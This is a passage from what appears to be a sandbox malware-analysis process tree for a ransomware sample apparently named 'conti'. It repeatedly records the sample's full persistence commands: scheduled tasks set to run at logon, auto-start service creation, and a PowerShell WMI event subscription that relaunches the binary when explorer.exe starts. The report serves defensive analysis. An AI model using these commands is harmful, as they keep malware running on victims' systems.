        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7084
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:4260
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:7072
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:10720
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:13500
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:7064
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:16032
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:9972
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:7984
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:17108
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:18312
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:7064
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:7496
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7940
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:8776
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:8076
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:9672
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:9440
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1208
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:5064
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:9732
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10892
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:5112
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:9256
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:1544
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10600
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:11808
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11872
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12780
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:11368
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:14224
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:15152
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:15520
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:8100
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7180
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:14972
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:18192
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15824
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:16016
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:17320
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:972
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:18624
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:5108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4764
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:5788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:4372
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:4260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:3400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:204
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:13868
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:14044
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:15160
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:19812
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:4492
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:15604
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:9340
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:18356
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:10504
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:7840
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:7492
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:2288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:7328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:8576
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:14744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:19492
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9988
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:10068
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:10084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:2484
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:10624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:5036
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:10488
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:6912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:2704
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:11652
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:12192
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:14140
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15192
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:11472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:6356
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3232
  - - C:\Windows\system32\cmd.exe
